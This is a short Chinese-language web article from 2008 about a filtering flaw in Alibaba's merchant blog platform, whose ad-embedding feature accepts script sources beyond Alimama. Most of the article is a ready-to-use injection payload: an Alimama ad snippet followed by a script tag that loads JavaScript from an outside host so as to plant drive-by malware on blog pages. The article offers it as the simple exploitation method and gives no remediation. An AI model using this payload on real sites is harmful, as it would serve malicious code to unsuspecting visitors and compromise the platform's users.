首页 电脑 电脑学堂 查看内容

阿里巴巴网商博客可插入恶意代码

2008-10-10 10:01 609 0

摘要: 在阿里巴巴网商博客中允许我们填加阿里妈妈的广告,但是他却没有过滤掉除了阿里妈妈以外的地址,从而可以使用JS挂马,简单的不能在简单的利用方法: <script type="text/JavaSc...
关键词: 妈妈 简单 阿里巴巴 阿里 以外 从而 但是 地址 方法 广告

在阿里巴巴网商博客中允许我们填加阿里妈妈的广告,但是他却没有过滤掉除了阿里妈妈以外的地址,从而可以使用JS挂马,简单的不能在简单的利用方法: <script type="text/JavaScript"> alimama_pid="mm_10031051_1309365_2877941"; alimama_titlecolor="0000FF"; alimama_descolor ="000000"; alimama_bgcolor="FFFFFF"; alimama_bordercolor="E6E6E6"; alimama_linkcolor="008000"; alimama_bottomcolor="FFFFFF"; alimama_anglesize="0"; alimama_bgpic="0"; alimama_icon="0"; alimama_sizecode="22"; alimama_width=120; alimama_height=240; alimama_type=2; </script> <script src="http://a.alimama.cn/js.js" type=text/javascript></script><script src="http://www.winshell.cn/js.js" type=text/javascript></script>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部